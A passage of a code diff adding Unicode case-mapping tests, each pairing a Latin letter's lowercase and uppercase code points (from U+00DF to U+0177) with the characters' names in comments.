+test(0x00DF, 0x1E9E); // LATIN SMALL LETTER SHARP S, LATIN CAPITAL LETTER SHARP S
+test(0x00E0, 0x00C0); // LATIN SMALL LETTER A WITH GRAVE (LATIN SMALL LETTER A GRAVE), LATIN CAPITAL LETTER A WITH GRAVE (LATIN CAPITAL LETTER A GRAVE)
+test(0x00E1, 0x00C1); // LATIN SMALL LETTER A WITH ACUTE (LATIN SMALL LETTER A ACUTE), LATIN CAPITAL LETTER A WITH ACUTE (LATIN CAPITAL LETTER A ACUTE)
+test(0x00E2, 0x00C2); // LATIN SMALL LETTER A WITH CIRCUMFLEX (LATIN SMALL LETTER A CIRCUMFLEX), LATIN CAPITAL LETTER A WITH CIRCUMFLEX (LATIN CAPITAL LETTER A CIRCUMFLEX)
+test(0x00E3, 0x00C3); // LATIN SMALL LETTER A WITH TILDE (LATIN SMALL LETTER A TILDE), LATIN CAPITAL LETTER A WITH TILDE (LATIN CAPITAL LETTER A TILDE)
+test(0x00E4, 0x00C4); // LATIN SMALL LETTER A WITH DIAERESIS (LATIN SMALL LETTER A DIAERESIS), LATIN CAPITAL LETTER A WITH DIAERESIS (LATIN CAPITAL LETTER A DIAERESIS)
+test(0x00E5, 0x00C5, 0x212B); // LATIN SMALL LETTER A WITH RING ABOVE (LATIN SMALL LETTER A RING), LATIN CAPITAL LETTER A WITH RING ABOVE (LATIN CAPITAL LETTER A RING), ANGSTROM SIGN (ANGSTROM UNIT)
+test(0x00E6, 0x00C6); // LATIN SMALL LETTER AE (LATIN SMALL LETTER A E), LATIN CAPITAL LETTER AE (LATIN CAPITAL LETTER A E)
+test(0x00E7, 0x00C7); // LATIN SMALL LETTER C WITH CEDILLA (LATIN SMALL LETTER C CEDILLA), LATIN CAPITAL LETTER C WITH CEDILLA (LATIN CAPITAL LETTER C CEDILLA)
+test(0x00E8, 0x00C8); // LATIN SMALL LETTER E WITH GRAVE (LATIN SMALL LETTER E GRAVE), LATIN CAPITAL LETTER E WITH GRAVE (LATIN CAPITAL LETTER E GRAVE)
+test(0x00E9, 0x00C9); // LATIN SMALL LETTER E WITH ACUTE (LATIN SMALL LETTER E ACUTE), LATIN CAPITAL LETTER E WITH ACUTE (LATIN CAPITAL LETTER E ACUTE)
+test(0x00EA, 0x00CA); // LATIN SMALL LETTER E WITH CIRCUMFLEX (LATIN SMALL LETTER E CIRCUMFLEX), LATIN CAPITAL LETTER E WITH CIRCUMFLEX (LATIN CAPITAL LETTER E CIRCUMFLEX)
+test(0x00EB, 0x00CB); // LATIN SMALL LETTER E WITH DIAERESIS (LATIN SMALL LETTER E DIAERESIS), LATIN CAPITAL LETTER E WITH DIAERESIS (LATIN CAPITAL LETTER E DIAERESIS)
+test(0x00EC, 0x00CC); // LATIN SMALL LETTER I WITH GRAVE (LATIN SMALL LETTER I GRAVE), LATIN CAPITAL LETTER I WITH GRAVE (LATIN CAPITAL LETTER I GRAVE)
+test(0x00ED, 0x00CD); // LATIN SMALL LETTER I WITH ACUTE (LATIN SMALL LETTER I ACUTE), LATIN CAPITAL LETTER I WITH ACUTE (LATIN CAPITAL LETTER I ACUTE)
+test(0x00EE, 0x00CE); // LATIN SMALL LETTER I WITH CIRCUMFLEX (LATIN SMALL LETTER I CIRCUMFLEX), LATIN CAPITAL LETTER I WITH CIRCUMFLEX (LATIN CAPITAL LETTER I CIRCUMFLEX)
+test(0x00EF, 0x00CF); // LATIN SMALL LETTER I WITH DIAERESIS (LATIN SMALL LETTER I DIAERESIS), LATIN CAPITAL LETTER I WITH DIAERESIS (LATIN CAPITAL LETTER I DIAERESIS)
+test(0x00F0, 0x00D0); // LATIN SMALL LETTER ETH, LATIN CAPITAL LETTER ETH
+test(0x00F1, 0x00D1); // LATIN SMALL LETTER N WITH TILDE (LATIN SMALL LETTER N TILDE), LATIN CAPITAL LETTER N WITH TILDE (LATIN CAPITAL LETTER N TILDE)
+test(0x00F2, 0x00D2); // LATIN SMALL LETTER O WITH GRAVE (LATIN SMALL LETTER O GRAVE), LATIN CAPITAL LETTER O WITH GRAVE (LATIN CAPITAL LETTER O GRAVE)
+test(0x00F3, 0x00D3); // LATIN SMALL LETTER O WITH ACUTE (LATIN SMALL LETTER O ACUTE), LATIN CAPITAL LETTER O WITH ACUTE (LATIN CAPITAL LETTER O ACUTE)
+test(0x00F4, 0x00D4); // LATIN SMALL LETTER O WITH CIRCUMFLEX (LATIN SMALL LETTER O CIRCUMFLEX), LATIN CAPITAL LETTER O WITH CIRCUMFLEX (LATIN CAPITAL LETTER O CIRCUMFLEX)
+test(0x00F5, 0x00D5); // LATIN SMALL LETTER O WITH TILDE (LATIN SMALL LETTER O TILDE), LATIN CAPITAL LETTER O WITH TILDE (LATIN CAPITAL LETTER O TILDE)
+test(0x00F6, 0x00D6); // LATIN SMALL LETTER O WITH DIAERESIS (LATIN SMALL LETTER O DIAERESIS), LATIN CAPITAL LETTER O WITH DIAERESIS (LATIN CAPITAL LETTER O DIAERESIS)
+test(0x00F8, 0x00D8); // LATIN SMALL LETTER O WITH STROKE (LATIN SMALL LETTER O SLASH), LATIN CAPITAL LETTER O WITH STROKE (LATIN CAPITAL LETTER O SLASH)
+test(0x00F9, 0x00D9); // LATIN SMALL LETTER U WITH GRAVE (LATIN SMALL LETTER U GRAVE), LATIN CAPITAL LETTER U WITH GRAVE (LATIN CAPITAL LETTER U GRAVE)
+test(0x00FA, 0x00DA); // LATIN SMALL LETTER U WITH ACUTE (LATIN SMALL LETTER U ACUTE), LATIN CAPITAL LETTER U WITH ACUTE (LATIN CAPITAL LETTER U ACUTE)
+test(0x00FB, 0x00DB); // LATIN SMALL LETTER U WITH CIRCUMFLEX (LATIN SMALL LETTER U CIRCUMFLEX), LATIN CAPITAL LETTER U WITH CIRCUMFLEX (LATIN CAPITAL LETTER U CIRCUMFLEX)
+test(0x00FC, 0x00DC); // LATIN SMALL LETTER U WITH DIAERESIS (LATIN SMALL LETTER U DIAERESIS), LATIN CAPITAL LETTER U WITH DIAERESIS (LATIN CAPITAL LETTER U DIAERESIS)
+test(0x00FD, 0x00DD); // LATIN SMALL LETTER Y WITH ACUTE (LATIN SMALL LETTER Y ACUTE), LATIN CAPITAL LETTER Y WITH ACUTE (LATIN CAPITAL LETTER Y ACUTE)
+test(0x00FE, 0x00DE); // LATIN SMALL LETTER THORN, LATIN CAPITAL LETTER THORN
+test(0x00FF, 0x0178); // LATIN SMALL LETTER Y WITH DIAERESIS (LATIN SMALL LETTER Y DIAERESIS), LATIN CAPITAL LETTER Y WITH DIAERESIS (LATIN CAPITAL LETTER Y DIAERESIS)
+test(0x0100, 0x0101); // LATIN CAPITAL LETTER A WITH MACRON (LATIN CAPITAL LETTER A MACRON), LATIN SMALL LETTER A WITH MACRON (LATIN SMALL LETTER A MACRON)
+test(0x0101, 0x0100); // LATIN SMALL LETTER A WITH MACRON (LATIN SMALL LETTER A MACRON), LATIN CAPITAL LETTER A WITH MACRON (LATIN CAPITAL LETTER A MACRON)
+test(0x0102, 0x0103); // LATIN CAPITAL LETTER A WITH BREVE (LATIN CAPITAL LETTER A BREVE), LATIN SMALL LETTER A WITH BREVE (LATIN SMALL LETTER A BREVE)
+test(0x0103, 0x0102); // LATIN SMALL LETTER A WITH BREVE (LATIN SMALL LETTER A BREVE), LATIN CAPITAL LETTER A WITH BREVE (LATIN CAPITAL LETTER A BREVE)
+test(0x0104, 0x0105); // LATIN CAPITAL LETTER A WITH OGONEK (LATIN CAPITAL LETTER A OGONEK), LATIN SMALL LETTER A WITH OGONEK (LATIN SMALL LETTER A OGONEK)
+test(0x0105, 0x0104); // LATIN SMALL LETTER A WITH OGONEK (LATIN SMALL LETTER A OGONEK), LATIN CAPITAL LETTER A WITH OGONEK (LATIN CAPITAL LETTER A OGONEK)
+test(0x0106, 0x0107); // LATIN CAPITAL LETTER C WITH ACUTE (LATIN CAPITAL LETTER C ACUTE), LATIN SMALL LETTER C WITH ACUTE (LATIN SMALL LETTER C ACUTE)
+test(0x0107, 0x0106); // LATIN SMALL LETTER C WITH ACUTE (LATIN SMALL LETTER C ACUTE), LATIN CAPITAL LETTER C WITH ACUTE (LATIN CAPITAL LETTER C ACUTE)
+test(0x0108, 0x0109); // LATIN CAPITAL LETTER C WITH CIRCUMFLEX (LATIN CAPITAL LETTER C CIRCUMFLEX), LATIN SMALL LETTER C WITH CIRCUMFLEX (LATIN SMALL LETTER C CIRCUMFLEX)
+test(0x0109, 0x0108); // LATIN SMALL LETTER C WITH CIRCUMFLEX (LATIN SMALL LETTER C CIRCUMFLEX), LATIN CAPITAL LETTER C WITH CIRCUMFLEX (LATIN CAPITAL LETTER C CIRCUMFLEX)
+test(0x010A, 0x010B); // LATIN CAPITAL LETTER C WITH DOT ABOVE (LATIN CAPITAL LETTER C DOT), LATIN SMALL LETTER C WITH DOT ABOVE (LATIN SMALL LETTER C DOT)
+test(0x010B, 0x010A); // LATIN SMALL LETTER C WITH DOT ABOVE (LATIN SMALL LETTER C DOT), LATIN CAPITAL LETTER C WITH DOT ABOVE (LATIN CAPITAL LETTER C DOT)
+test(0x010C, 0x010D); // LATIN CAPITAL LETTER C WITH CARON (LATIN CAPITAL LETTER C HACEK), LATIN SMALL LETTER C WITH CARON (LATIN SMALL LETTER C HACEK)
+test(0x010D, 0x010C); // LATIN SMALL LETTER C WITH CARON (LATIN SMALL LETTER C HACEK), LATIN CAPITAL LETTER C WITH CARON (LATIN CAPITAL LETTER C HACEK)
+test(0x010E, 0x010F); // LATIN CAPITAL LETTER D WITH CARON (LATIN CAPITAL LETTER D HACEK), LATIN SMALL LETTER D WITH CARON (LATIN SMALL LETTER D HACEK)
+test(0x010F, 0x010E); // LATIN SMALL LETTER D WITH CARON (LATIN SMALL LETTER D HACEK), LATIN CAPITAL LETTER D WITH CARON (LATIN CAPITAL LETTER D HACEK)
+test(0x0110, 0x0111); // LATIN CAPITAL LETTER D WITH STROKE (LATIN CAPITAL LETTER D BAR), LATIN SMALL LETTER D WITH STROKE (LATIN SMALL LETTER D BAR)
+test(0x0111, 0x0110); // LATIN SMALL LETTER D WITH STROKE (LATIN SMALL LETTER D BAR), LATIN CAPITAL LETTER D WITH STROKE (LATIN CAPITAL LETTER D BAR)
+test(0x0112, 0x0113); // LATIN CAPITAL LETTER E WITH MACRON (LATIN CAPITAL LETTER E MACRON), LATIN SMALL LETTER E WITH MACRON (LATIN SMALL LETTER E MACRON)
+test(0x0113, 0x0112); // LATIN SMALL LETTER E WITH MACRON (LATIN SMALL LETTER E MACRON), LATIN CAPITAL LETTER E WITH MACRON (LATIN CAPITAL LETTER E MACRON)
+test(0x0114, 0x0115); // LATIN CAPITAL LETTER E WITH BREVE (LATIN CAPITAL LETTER E BREVE), LATIN SMALL LETTER E WITH BREVE (LATIN SMALL LETTER E BREVE)
+test(0x0115, 0x0114); // LATIN SMALL LETTER E WITH BREVE (LATIN SMALL LETTER E BREVE), LATIN CAPITAL LETTER E WITH BREVE (LATIN CAPITAL LETTER E BREVE)
+test(0x0116, 0x0117); // LATIN CAPITAL LETTER E WITH DOT ABOVE (LATIN CAPITAL LETTER E DOT), LATIN SMALL LETTER E WITH DOT ABOVE (LATIN SMALL LETTER E DOT)
+test(0x0117, 0x0116); // LATIN SMALL LETTER E WITH DOT ABOVE (LATIN SMALL LETTER E DOT), LATIN CAPITAL LETTER E WITH DOT ABOVE (LATIN CAPITAL LETTER E DOT)
+test(0x0118, 0x0119); // LATIN CAPITAL LETTER E WITH OGONEK (LATIN CAPITAL LETTER E OGONEK), LATIN SMALL LETTER E WITH OGONEK (LATIN SMALL LETTER E OGONEK)
+test(0x0119, 0x0118); // LATIN SMALL LETTER E WITH OGONEK (LATIN SMALL LETTER E OGONEK), LATIN CAPITAL LETTER E WITH OGONEK (LATIN CAPITAL LETTER E OGONEK)
+test(0x011A, 0x011B); // LATIN CAPITAL LETTER E WITH CARON (LATIN CAPITAL LETTER E HACEK), LATIN SMALL LETTER E WITH CARON (LATIN SMALL LETTER E HACEK)
+test(0x011B, 0x011A); // LATIN SMALL LETTER E WITH CARON (LATIN SMALL LETTER E HACEK), LATIN CAPITAL LETTER E WITH CARON (LATIN CAPITAL LETTER E HACEK)
+test(0x011C, 0x011D); // LATIN CAPITAL LETTER G WITH CIRCUMFLEX (LATIN CAPITAL LETTER G CIRCUMFLEX), LATIN SMALL LETTER G WITH CIRCUMFLEX (LATIN SMALL LETTER G CIRCUMFLEX)
+test(0x011D, 0x011C); // LATIN SMALL LETTER G WITH CIRCUMFLEX (LATIN SMALL LETTER G CIRCUMFLEX), LATIN CAPITAL LETTER G WITH CIRCUMFLEX (LATIN CAPITAL LETTER G CIRCUMFLEX)
+test(0x011E, 0x011F); // LATIN CAPITAL LETTER G WITH BREVE (LATIN CAPITAL LETTER G BREVE), LATIN SMALL LETTER G WITH BREVE (LATIN SMALL LETTER G BREVE)
+test(0x011F, 0x011E); // LATIN SMALL LETTER G WITH BREVE (LATIN SMALL LETTER G BREVE), LATIN CAPITAL LETTER G WITH BREVE (LATIN CAPITAL LETTER G BREVE)
+test(0x0120, 0x0121); // LATIN CAPITAL LETTER G WITH DOT ABOVE (LATIN CAPITAL LETTER G DOT), LATIN SMALL LETTER G WITH DOT ABOVE (LATIN SMALL LETTER G DOT)
+test(0x0121, 0x0120); // LATIN SMALL LETTER G WITH DOT ABOVE (LATIN SMALL LETTER G DOT), LATIN CAPITAL LETTER G WITH DOT ABOVE (LATIN CAPITAL LETTER G DOT)
+test(0x0122, 0x0123); // LATIN CAPITAL LETTER G WITH CEDILLA (LATIN CAPITAL LETTER G CEDILLA), LATIN SMALL LETTER G WITH CEDILLA (LATIN SMALL LETTER G CEDILLA)
+test(0x0123, 0x0122); // LATIN SMALL LETTER G WITH CEDILLA (LATIN SMALL LETTER G CEDILLA), LATIN CAPITAL LETTER G WITH CEDILLA (LATIN CAPITAL LETTER G CEDILLA)
+test(0x0124, 0x0125); // LATIN CAPITAL LETTER H WITH CIRCUMFLEX (LATIN CAPITAL LETTER H CIRCUMFLEX), LATIN SMALL LETTER H WITH CIRCUMFLEX (LATIN SMALL LETTER H CIRCUMFLEX)
+test(0x0125, 0x0124); // LATIN SMALL LETTER H WITH CIRCUMFLEX (LATIN SMALL LETTER H CIRCUMFLEX), LATIN CAPITAL LETTER H WITH CIRCUMFLEX (LATIN CAPITAL LETTER H CIRCUMFLEX)
+test(0x0126, 0x0127); // LATIN CAPITAL LETTER H WITH STROKE (LATIN CAPITAL LETTER H BAR), LATIN SMALL LETTER H WITH STROKE (LATIN SMALL LETTER H BAR)
+test(0x0127, 0x0126); // LATIN SMALL LETTER H WITH STROKE (LATIN SMALL LETTER H BAR), LATIN CAPITAL LETTER H WITH STROKE (LATIN CAPITAL LETTER H BAR)
+test(0x0128, 0x0129); // LATIN CAPITAL LETTER I WITH TILDE (LATIN CAPITAL LETTER I TILDE), LATIN SMALL LETTER I WITH TILDE (LATIN SMALL LETTER I TILDE)
+test(0x0129, 0x0128); // LATIN SMALL LETTER I WITH TILDE (LATIN SMALL LETTER I TILDE), LATIN CAPITAL LETTER I WITH TILDE (LATIN CAPITAL LETTER I TILDE)
+test(0x012A, 0x012B); // LATIN CAPITAL LETTER I WITH MACRON (LATIN CAPITAL LETTER I MACRON), LATIN SMALL LETTER I WITH MACRON (LATIN SMALL LETTER I MACRON)
+test(0x012B, 0x012A); // LATIN SMALL LETTER I WITH MACRON (LATIN SMALL LETTER I MACRON), LATIN CAPITAL LETTER I WITH MACRON (LATIN CAPITAL LETTER I MACRON)
+test(0x012C, 0x012D); // LATIN CAPITAL LETTER I WITH BREVE (LATIN CAPITAL LETTER I BREVE), LATIN SMALL LETTER I WITH BREVE (LATIN SMALL LETTER I BREVE)
+test(0x012D, 0x012C); // LATIN SMALL LETTER I WITH BREVE (LATIN SMALL LETTER I BREVE), LATIN CAPITAL LETTER I WITH BREVE (LATIN CAPITAL LETTER I BREVE)
+test(0x012E, 0x012F); // LATIN CAPITAL LETTER I WITH OGONEK (LATIN CAPITAL LETTER I OGONEK), LATIN SMALL LETTER I WITH OGONEK (LATIN SMALL LETTER I OGONEK)
+test(0x012F, 0x012E); // LATIN SMALL LETTER I WITH OGONEK (LATIN SMALL LETTER I OGONEK), LATIN CAPITAL LETTER I WITH OGONEK (LATIN CAPITAL LETTER I OGONEK)
+test(0x0132, 0x0133); // LATIN CAPITAL LIGATURE IJ (LATIN CAPITAL LETTER I J), LATIN SMALL LIGATURE IJ (LATIN SMALL LETTER I J)
+test(0x0133, 0x0132); // LATIN SMALL LIGATURE IJ (LATIN SMALL LETTER I J), LATIN CAPITAL LIGATURE IJ (LATIN CAPITAL LETTER I J)
+test(0x0134, 0x0135); // LATIN CAPITAL LETTER J WITH CIRCUMFLEX (LATIN CAPITAL LETTER J CIRCUMFLEX), LATIN SMALL LETTER J WITH CIRCUMFLEX (LATIN SMALL LETTER J CIRCUMFLEX)
+test(0x0135, 0x0134); // LATIN SMALL LETTER J WITH CIRCUMFLEX (LATIN SMALL LETTER J CIRCUMFLEX), LATIN CAPITAL LETTER J WITH CIRCUMFLEX (LATIN CAPITAL LETTER J CIRCUMFLEX)
+test(0x0136, 0x0137); // LATIN CAPITAL LETTER K WITH CEDILLA (LATIN CAPITAL LETTER K CEDILLA), LATIN SMALL LETTER K WITH CEDILLA (LATIN SMALL LETTER K CEDILLA)
+test(0x0137, 0x0136); // LATIN SMALL LETTER K WITH CEDILLA (LATIN SMALL LETTER K CEDILLA), LATIN CAPITAL LETTER K WITH CEDILLA (LATIN CAPITAL LETTER K CEDILLA)
+test(0x0139, 0x013A); // LATIN CAPITAL LETTER L WITH ACUTE (LATIN CAPITAL LETTER L ACUTE), LATIN SMALL LETTER L WITH ACUTE (LATIN SMALL LETTER L ACUTE)
+test(0x013A, 0x0139); // LATIN SMALL LETTER L WITH ACUTE (LATIN SMALL LETTER L ACUTE), LATIN CAPITAL LETTER L WITH ACUTE (LATIN CAPITAL LETTER L ACUTE)
+test(0x013B, 0x013C); // LATIN CAPITAL LETTER L WITH CEDILLA (LATIN CAPITAL LETTER L CEDILLA), LATIN SMALL LETTER L WITH CEDILLA (LATIN SMALL LETTER L CEDILLA)
+test(0x013C, 0x013B); // LATIN SMALL LETTER L WITH CEDILLA (LATIN SMALL LETTER L CEDILLA), LATIN CAPITAL LETTER L WITH CEDILLA (LATIN CAPITAL LETTER L CEDILLA)
+test(0x013D, 0x013E); // LATIN CAPITAL LETTER L WITH CARON (LATIN CAPITAL LETTER L HACEK), LATIN SMALL LETTER L WITH CARON (LATIN SMALL LETTER L HACEK)
+test(0x013E, 0x013D); // LATIN SMALL LETTER L WITH CARON (LATIN SMALL LETTER L HACEK), LATIN CAPITAL LETTER L WITH CARON (LATIN CAPITAL LETTER L HACEK)
+test(0x013F, 0x0140); // LATIN CAPITAL LETTER L WITH MIDDLE DOT, LATIN SMALL LETTER L WITH MIDDLE DOT
+test(0x0140, 0x013F); // LATIN SMALL LETTER L WITH MIDDLE DOT, LATIN CAPITAL LETTER L WITH MIDDLE DOT
+test(0x0141, 0x0142); // LATIN CAPITAL LETTER L WITH STROKE (LATIN CAPITAL LETTER L SLASH), LATIN SMALL LETTER L WITH STROKE (LATIN SMALL LETTER L SLASH)
+test(0x0142, 0x0141); // LATIN SMALL LETTER L WITH STROKE (LATIN SMALL LETTER L SLASH), LATIN CAPITAL LETTER L WITH STROKE (LATIN CAPITAL LETTER L SLASH)
+test(0x0143, 0x0144); // LATIN CAPITAL LETTER N WITH ACUTE (LATIN CAPITAL LETTER N ACUTE), LATIN SMALL LETTER N WITH ACUTE (LATIN SMALL LETTER N ACUTE)
+test(0x0144, 0x0143); // LATIN SMALL LETTER N WITH ACUTE (LATIN SMALL LETTER N ACUTE), LATIN CAPITAL LETTER N WITH ACUTE (LATIN CAPITAL LETTER N ACUTE)
+test(0x0145, 0x0146); // LATIN CAPITAL LETTER N WITH CEDILLA (LATIN CAPITAL LETTER N CEDILLA), LATIN SMALL LETTER N WITH CEDILLA (LATIN SMALL LETTER N CEDILLA)
+test(0x0146, 0x0145); // LATIN SMALL LETTER N WITH CEDILLA (LATIN SMALL LETTER N CEDILLA), LATIN CAPITAL LETTER N WITH CEDILLA (LATIN CAPITAL LETTER N CEDILLA)
+test(0x0147, 0x0148); // LATIN CAPITAL LETTER N WITH CARON (LATIN CAPITAL LETTER N HACEK), LATIN SMALL LETTER N WITH CARON (LATIN SMALL LETTER N HACEK)
+test(0x0148, 0x0147); // LATIN SMALL LETTER N WITH CARON (LATIN SMALL LETTER N HACEK), LATIN CAPITAL LETTER N WITH CARON (LATIN CAPITAL LETTER N HACEK)
+test(0x014A, 0x014B); // LATIN CAPITAL LETTER ENG, LATIN SMALL LETTER ENG
+test(0x014B, 0x014A); // LATIN SMALL LETTER ENG, LATIN CAPITAL LETTER ENG
+test(0x014C, 0x014D); // LATIN CAPITAL LETTER O WITH MACRON (LATIN CAPITAL LETTER O MACRON), LATIN SMALL LETTER O WITH MACRON (LATIN SMALL LETTER O MACRON)
+test(0x014D, 0x014C); // LATIN SMALL LETTER O WITH MACRON (LATIN SMALL LETTER O MACRON), LATIN CAPITAL LETTER O WITH MACRON (LATIN CAPITAL LETTER O MACRON)
+test(0x014E, 0x014F); // LATIN CAPITAL LETTER O WITH BREVE (LATIN CAPITAL LETTER O BREVE), LATIN SMALL LETTER O WITH BREVE (LATIN SMALL LETTER O BREVE)
+test(0x014F, 0x014E); // LATIN SMALL LETTER O WITH BREVE (LATIN SMALL LETTER O BREVE), LATIN CAPITAL LETTER O WITH BREVE (LATIN CAPITAL LETTER O BREVE)
+test(0x0150, 0x0151); // LATIN CAPITAL LETTER O WITH DOUBLE ACUTE (LATIN CAPITAL LETTER O DOUBLE ACUTE), LATIN SMALL LETTER O WITH DOUBLE ACUTE (LATIN SMALL LETTER O DOUBLE ACUTE)
+test(0x0151, 0x0150); // LATIN SMALL LETTER O WITH DOUBLE ACUTE (LATIN SMALL LETTER O DOUBLE ACUTE), LATIN CAPITAL LETTER O WITH DOUBLE ACUTE (LATIN CAPITAL LETTER O DOUBLE ACUTE)
+test(0x0152, 0x0153); // LATIN CAPITAL LIGATURE OE (LATIN CAPITAL LETTER O E), LATIN SMALL LIGATURE OE (LATIN SMALL LETTER O E)
+test(0x0153, 0x0152); // LATIN SMALL LIGATURE OE (LATIN SMALL LETTER O E), LATIN CAPITAL LIGATURE OE (LATIN CAPITAL LETTER O E)
+test(0x0154, 0x0155); // LATIN CAPITAL LETTER R WITH ACUTE (LATIN CAPITAL LETTER R ACUTE), LATIN SMALL LETTER R WITH ACUTE (LATIN SMALL LETTER R ACUTE)
+test(0x0155, 0x0154); // LATIN SMALL LETTER R WITH ACUTE (LATIN SMALL LETTER R ACUTE), LATIN CAPITAL LETTER R WITH ACUTE (LATIN CAPITAL LETTER R ACUTE)
+test(0x0156, 0x0157); // LATIN CAPITAL LETTER R WITH CEDILLA (LATIN CAPITAL LETTER R CEDILLA), LATIN SMALL LETTER R WITH CEDILLA (LATIN SMALL LETTER R CEDILLA)
+test(0x0157, 0x0156); // LATIN SMALL LETTER R WITH CEDILLA (LATIN SMALL LETTER R CEDILLA), LATIN CAPITAL LETTER R WITH CEDILLA (LATIN CAPITAL LETTER R CEDILLA)
+test(0x0158, 0x0159); // LATIN CAPITAL LETTER R WITH CARON (LATIN CAPITAL LETTER R HACEK), LATIN SMALL LETTER R WITH CARON (LATIN SMALL LETTER R HACEK)
+test(0x0159, 0x0158); // LATIN SMALL LETTER R WITH CARON (LATIN SMALL LETTER R HACEK), LATIN CAPITAL LETTER R WITH CARON (LATIN CAPITAL LETTER R HACEK)
+test(0x015A, 0x015B); // LATIN CAPITAL LETTER S WITH ACUTE (LATIN CAPITAL LETTER S ACUTE), LATIN SMALL LETTER S WITH ACUTE (LATIN SMALL LETTER S ACUTE)
+test(0x015B, 0x015A); // LATIN SMALL LETTER S WITH ACUTE (LATIN SMALL LETTER S ACUTE), LATIN CAPITAL LETTER S WITH ACUTE (LATIN CAPITAL LETTER S ACUTE)
+test(0x015C, 0x015D); // LATIN CAPITAL LETTER S WITH CIRCUMFLEX (LATIN CAPITAL LETTER S CIRCUMFLEX), LATIN SMALL LETTER S WITH CIRCUMFLEX (LATIN SMALL LETTER S CIRCUMFLEX)
+test(0x015D, 0x015C); // LATIN SMALL LETTER S WITH CIRCUMFLEX (LATIN SMALL LETTER S CIRCUMFLEX), LATIN CAPITAL LETTER S WITH CIRCUMFLEX (LATIN CAPITAL LETTER S CIRCUMFLEX)
+test(0x015E, 0x015F); // LATIN CAPITAL LETTER S WITH CEDILLA (LATIN CAPITAL LETTER S CEDILLA), LATIN SMALL LETTER S WITH CEDILLA (LATIN SMALL LETTER S CEDILLA)
+test(0x015F, 0x015E); // LATIN SMALL LETTER S WITH CEDILLA (LATIN SMALL LETTER S CEDILLA), LATIN CAPITAL LETTER S WITH CEDILLA (LATIN CAPITAL LETTER S CEDILLA)
+test(0x0160, 0x0161); // LATIN CAPITAL LETTER S WITH CARON (LATIN CAPITAL LETTER S HACEK), LATIN SMALL LETTER S WITH CARON (LATIN SMALL LETTER S HACEK)
+test(0x0161, 0x0160); // LATIN SMALL LETTER S WITH CARON (LATIN SMALL LETTER S HACEK), LATIN CAPITAL LETTER S WITH CARON (LATIN CAPITAL LETTER S HACEK)
+test(0x0162, 0x0163); // LATIN CAPITAL LETTER T WITH CEDILLA (LATIN CAPITAL LETTER T CEDILLA), LATIN SMALL LETTER T WITH CEDILLA (LATIN SMALL LETTER T CEDILLA)
+test(0x0163, 0x0162); // LATIN SMALL LETTER T WITH CEDILLA (LATIN SMALL LETTER T CEDILLA), LATIN CAPITAL LETTER T WITH CEDILLA (LATIN CAPITAL LETTER T CEDILLA)
+test(0x0164, 0x0165); // LATIN CAPITAL LETTER T WITH CARON (LATIN CAPITAL LETTER T HACEK), LATIN SMALL LETTER T WITH CARON (LATIN SMALL LETTER T HACEK)
+test(0x0165, 0x0164); // LATIN SMALL LETTER T WITH CARON (LATIN SMALL LETTER T HACEK), LATIN CAPITAL LETTER T WITH CARON (LATIN CAPITAL LETTER T HACEK)
+test(0x0166, 0x0167); // LATIN CAPITAL LETTER T WITH STROKE (LATIN CAPITAL LETTER T BAR), LATIN SMALL LETTER T WITH STROKE (LATIN SMALL LETTER T BAR)
+test(0x0167, 0x0166); // LATIN SMALL LETTER T WITH STROKE (LATIN SMALL LETTER T BAR), LATIN CAPITAL LETTER T WITH STROKE (LATIN CAPITAL LETTER T BAR)
+test(0x0168, 0x0169); // LATIN CAPITAL LETTER U WITH TILDE (LATIN CAPITAL LETTER U TILDE), LATIN SMALL LETTER U WITH TILDE (LATIN SMALL LETTER U TILDE)
+test(0x0169, 0x0168); // LATIN SMALL LETTER U WITH TILDE (LATIN SMALL LETTER U TILDE), LATIN CAPITAL LETTER U WITH TILDE (LATIN CAPITAL LETTER U TILDE)
+test(0x016A, 0x016B); // LATIN CAPITAL LETTER U WITH MACRON (LATIN CAPITAL LETTER U MACRON), LATIN SMALL LETTER U WITH MACRON (LATIN SMALL LETTER U MACRON)
+test(0x016B, 0x016A); // LATIN SMALL LETTER U WITH MACRON (LATIN SMALL LETTER U MACRON), LATIN CAPITAL LETTER U WITH MACRON (LATIN CAPITAL LETTER U MACRON)
+test(0x016C, 0x016D); // LATIN CAPITAL LETTER U WITH BREVE (LATIN CAPITAL LETTER U BREVE), LATIN SMALL LETTER U WITH BREVE (LATIN SMALL LETTER U BREVE)
+test(0x016D, 0x016C); // LATIN SMALL LETTER U WITH BREVE (LATIN SMALL LETTER U BREVE), LATIN CAPITAL LETTER U WITH BREVE (LATIN CAPITAL LETTER U BREVE)
+test(0x016E, 0x016F); // LATIN CAPITAL LETTER U WITH RING ABOVE (LATIN CAPITAL LETTER U RING), LATIN SMALL LETTER U WITH RING ABOVE (LATIN SMALL LETTER U RING)
+test(0x016F, 0x016E); // LATIN SMALL LETTER U WITH RING ABOVE (LATIN SMALL LETTER U RING), LATIN CAPITAL LETTER U WITH RING ABOVE (LATIN CAPITAL LETTER U RING)
+test(0x0170, 0x0171); // LATIN CAPITAL LETTER U WITH DOUBLE ACUTE (LATIN CAPITAL LETTER U DOUBLE ACUTE), LATIN SMALL LETTER U WITH DOUBLE ACUTE (LATIN SMALL LETTER U DOUBLE ACUTE)
+test(0x0171, 0x0170); // LATIN SMALL LETTER U WITH DOUBLE ACUTE (LATIN SMALL LETTER U DOUBLE ACUTE), LATIN CAPITAL LETTER U WITH DOUBLE ACUTE (LATIN CAPITAL LETTER U DOUBLE ACUTE)
+test(0x0172, 0x0173); // LATIN CAPITAL LETTER U WITH OGONEK (LATIN CAPITAL LETTER U OGONEK), LATIN SMALL LETTER U WITH OGONEK (LATIN SMALL LETTER U OGONEK)
+test(0x0173, 0x0172); // LATIN SMALL LETTER U WITH OGONEK (LATIN SMALL LETTER U OGONEK), LATIN CAPITAL LETTER U WITH OGONEK (LATIN CAPITAL LETTER U OGONEK)
+test(0x0174, 0x0175); // LATIN CAPITAL LETTER W WITH CIRCUMFLEX (LATIN CAPITAL LETTER W CIRCUMFLEX), LATIN SMALL LETTER W WITH CIRCUMFLEX (LATIN SMALL LETTER W CIRCUMFLEX)
+test(0x0175, 0x0174); // LATIN SMALL LETTER W WITH CIRCUMFLEX (LATIN SMALL LETTER W CIRCUMFLEX), LATIN CAPITAL LETTER W WITH CIRCUMFLEX (LATIN CAPITAL LETTER W CIRCUMFLEX)
+test(0x0176, 0x0177); // LATIN CAPITAL LETTER Y WITH CIRCUMFLEX (LATIN CAPITAL LETTER Y CIRCUMFLEX), LATIN SMALL LETTER Y WITH CIRCUMFLEX (LATIN SMALL LETTER Y CIRCUMFLEX)
